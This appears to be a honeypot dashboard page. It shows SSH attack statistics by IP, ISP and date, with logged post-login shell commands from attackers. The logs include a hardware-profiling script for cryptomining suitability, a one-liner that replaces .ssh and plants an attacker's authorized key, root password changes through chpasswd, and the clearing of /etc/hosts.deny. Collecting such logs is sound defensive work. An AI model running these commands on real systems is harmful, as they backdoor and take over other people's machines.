Honeypot Dashboard

Attacker	Origin	ISP	Attempts
manic_chai_sol 103.64.129.98	🇮🇳 Bengaluru	Teleindia Networks Private Limited	29876
rogue_dutch_root 45.153.34.235	🇳🇱 Eygelshoven	Pfcloud UG (haftungsbeschrankt)	16215
spectral_dutch_sol 45.148.10.183	🇳🇱 Amsterdam	Techoff SRV Limited	10441
weary_gouda_sol 2.57.122.177	🇳🇱 Amsterdam	Unmanaged LTD	6372
haywire_tulip_sol 45.148.10.240	🇳🇱 Amsterdam	Techoff SRV Limited	6240
haywire_tulip_root 160.119.71.11	🇳🇱 Amsterdam	HostUS	5685
crimson_pho 123.27.168.40	🇻🇳 Haiphong	VietNam Post and Telecom Corporation	5647
rusty_echo_sol 195.178.110.30	🇦🇩 Andorra la Vella	Techoff SRV Limited	4957
brisk_gouda_root 176.65.132.129	🇳🇱 Eygelshoven	Pfcloud UG (haftungsbeschrankt)	2967
aloof_liberty_sol 92.118.39.63	🇺🇸 Dallas	Unmanaged LTD	2592

Date	Sessions	Login Attempts	Successful	Unique IPs	Commands	Top Attacker
2026-07-05	5610	5093	329	265	598	ironclad_jade_root (8.138.128.98)
2026-07-04	5017	5184	253	356	514	manic_tulip_sol (45.153.34.15)
2026-07-03	8318	8457	397	411	943	obsidian_void_sol (91.92.40.29)
2026-07-02	7117	6914	313	416	561	sullen_windmill_root (45.156.87.166)
2026-07-01	6842	6902	308	409	654	sullen_clog_root (45.153.34.167)
2026-06-30	11129	10563	407	441	714	arctic_eagle_sol (141.11.88.22)
2026-06-29	8282	6131	202	326	400	haywire_tulip_root (160.119.71.11)
2026-06-28	11601	9270	424	210	831	haywire_tulip_root (160.119.71.11)
2026-06-27	7408	6413	295	268	392	haywire_tulip_root (160.119.71.11)
2026-06-26	7035	6491	347	221	487	midnight_rogue_root (91.92.40.28)
2026-06-25	3882	3546	208	212	319	stoic_stroopwafel_root_6 (178.208.88.6)
2026-06-24	5642	5913	248	239	265	ashen_bike_root (45.156.87.204)
2026-06-23	5160	5552	791	229	456	rogue_stroopwafel_sol (176.65.139.248)
2026-06-22	10631	11108	2313	270	548	weary_stroopwafel_root (176.65.139.181)
2026-06-21	7825	7661	3375	238	379	cryptic_tulip_root (176.65.139.247)
2026-06-20	8010	7919	2854	168	490	placid_dutch_root (91.92.42.227)
2026-06-19	12743	12798	5655	287	560	crimson_pho (123.27.168.40)
2026-06-18	9323	9395	4523	217	452	crimson_pho (123.27.168.40)
2026-06-17	9677	9728	4402	246	531	crimson_pho (123.27.168.40)
2026-06-16	36542	36596	557	274	625	manic_chai_sol (103.64.129.98)
2026-06-15	6414	6436	431	246	472	arctic_tulip_root (192.109.200.78)
2026-06-14	4144	4066	308	252	313	weary_rogue_root (91.92.40.25)
2026-06-13	7423	7533	467	304	593	wired_harbor_root (43.252.230.112)
2026-06-12	1781	1939	192	153	194	spectral_dutch_sol (45.148.10.183)
2026-06-11	31	0	0	8	0	—
2026-06-10	25	0	0	13	0	—
2026-06-09	21	0	0	10	0	—
2026-06-08	17	0	0	6	0	—
2026-06-07	19	0	0	8	0	—
2026-06-06	594	319	1	27	1	ashen_gouda_root (45.144.212.75)
2026-06-05	1096	591	0	21	0	ashen_gouda_root (45.144.212.75)
2026-06-04	844	679	9	30	9	ashen_gouda_root (45.144.212.75)
2026-06-03	943	908	4	37	4	crimson_dutch_root (77.83.39.217)
2026-06-02	443	420	3	38	3	crimson_dutch_root (77.83.39.217)
2026-06-01	21	0	0	9	0	—
2026-05-31	23	0	0	12	0	—
2026-05-30	29	0	0	14	0	—
2026-05-29	20	3	0	8	0	glitchy_dragon_root (115.190.201.230)
2026-05-28	26	0	0	11	0	—
2026-05-27	21	0	0	11	0	—
2026-05-26	20	0	0	10	0	—
2026-05-25	30	0	0	11	0	—
2026-05-22	156	136	32	27	26	aloof_liberty_sol (92.118.39.63)
2026-05-21	3517	3463	348	307	532	manic_windmill_sol (45.156.87.69)
2026-05-20	3616	3727	322	375	473	cryptic_gaucho_root (157.92.145.135)
2026-05-19	5158	5504	515	404	577	spectral_dutch_sol (45.148.10.183)
2026-05-18	3826	4599	352	400	367	arctic_tulip_root (192.109.200.78)
2026-05-17	20089	19885	432	330	451	rogue_dutch_root (45.153.34.235)
2026-05-16	5798	6264	513	369	527	brisk_gouda_root (176.65.132.129)
2026-05-15	6677	7396	511	322	519	obsidian_bike_sol (192.109.200.50)
2026-05-14	5927	6784	529	428	502	spectral_dutch_sol (45.148.10.183)
2026-05-13	4523	4384	357	420	410	spectral_dutch_sol (45.148.10.183)
2026-05-12	4215	3884	384	511	375	arctic_tulip_root (192.109.200.78)
2026-05-11	3268	3199	339	412	367	spectral_dutch_sol (45.148.10.183)
2026-05-10	3711	4532	355	430	427	weary_gouda_sol (2.57.122.177)
2026-05-09	4335	5092	442	348	493	spectral_dutch_sol (45.148.10.183)
2026-05-08	4732	4930	486	416	522	glitchy_gouda_root (45.156.87.99)
2026-05-07	5724	5510	478	220	537	baroque_dutch_root (176.65.132.242)
2026-05-06	1848	1735	218	60	226	glitchy_gouda_root (45.156.87.99)

Metric	Total	Avg / Day	Last 24h	Peak Day
Sessions	298,899	4900.0	7,345	36,542 (Jun 16)
Login Attempts	295,552	4845.1	6,898	36,596 (Jun 16)
Successful Logins	36,229	593.9	431	5,655 (Jun 19)
Unique IPs	5,601	91.8	332	511 (May 12)
Commands Executed	19,639	322.0	770	943 (Jul 3)
Success Rate	12.3%	12.3%	6.2%	48.1% (Jun 18)
Days Active	61

🎭 spectral_dutch_sol (45.148.10.183) — Amsterdam, Netherlands · 1312 sessions · 1312 cmds

2026-05-07 00:44 EDT · as bitcoin/bitcoin, eth/eth, firedancer/firedancer

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×1312

↳ obfuscated system check

🎭 glitchy_shadow_root (190.119.63.81) — Lima, Peru · 21 sessions · 21 cmds

2026-07-05 15:59 EDT · as admin/admin, admin/admin123, docker/docker123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×21

🎭 rogue_rogue_root (195.178.110.232) — Andorra la Vella, Andorra · 31 sessions · 249 cmds

2026-06-26 08:19 EDT · as admin/123456, admin/admin123, admin/password

PATH normalization → OS fingerprinting via uname -s -v -n -m → kernel version extraction from /proc/version → OS release check via /etc/os-release → uptime sampling → hardware profiling for cryptomining suitability

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×4

↳ make executable

$ uname -s -v -n -m 2 > /dev/null ×31

$ /bin/uname -s -v -n -m 2 > /dev/null ×25

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×25

$ busybox uname -s -v -n -m 2 > /dev/null ×25

$ ( [ -f /proc/version ] ×25

$ [ -f /proc/version ] ×25

$ head -1 /proc/version | cut -d -f1 ×25

$ [ -f /etc/os-release ] ×25

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; echo; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; echo; cat /proc/device-tree/model 2>/dev/null; echo; lscpu 2>/dev/null | grep "Model name" | cut -d: -f2-; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×9

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×9

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ×3

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×6

$ uname -m 2 > /dev/null ×6

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×6

🎭 silent_panda_root (8.138.108.179) — Guangzhou, China · 1 session · 1 cmd

2026-07-05 17:05 EDT · as user/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 weary_wraith_root (20.173.116.24) — Doha, Qatar · 1 session · 2 cmds

2026-07-05 16:34 EDT · as oracle/root123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 placid_bibimbap_root (119.28.161.148) — Seoul, South Korea · 2 sessions · 21 cmds

2026-07-05 16:13 EDT · as oracle/oracle123!@#, root/1234

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:5IU4sDBngRjI"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 midnight_dragon_root (122.13.25.186) — Guangzhou, China · 4 sessions · 25 cmds

2026-06-25 19:19 EDT · as oracle/1qa2ws3ed, oracle/Oracle@2025, oracle/oracle123!@#

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×4

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×4

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:0BzvICPM4BXw"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 vapor_k-pop_root_170 (59.26.132.170) — Yuseong-gu, South Korea · 1 session · 20 cmds

2026-07-05 16:04 EDT · as admin/admin123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "admin123\n0LmUUBTb1rQW\n0LmUUBTb1rQW"|passwd|bash

$ Enter new UNIX password:

$ echo "admin123\n0LmUUBTb1rQW\n0LmUUBTb1rQW\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cryptic_silk_root_101 (61.155.106.101) — Nanjing, China · 1 session · 2 cmds

2026-07-05 15:57 EDT · as oracle/oracle123!@#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sullen_peak_root_198 (43.155.21.198) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-07-05 15:55 EDT · as admin/admin123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "admin123\nkYIH9fUMgO9A\nkYIH9fUMgO9A"|passwd|bash

$ Enter new UNIX password:

$ echo "admin123\nkYIH9fUMgO9A\nkYIH9fUMgO9A\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 unhinged_burger_root (92.118.39.71) — Dallas, United States · 42 sessions · 353 cmds

2026-06-26 11:25 EDT · as admin/123456, admin/admin, admin/admin123

Export PATH modification → OS fingerprinting via uname -s -v -n -m → kernel version extraction from /proc/version → OS detection via /etc/os-release → uptime check for system stability assessment.

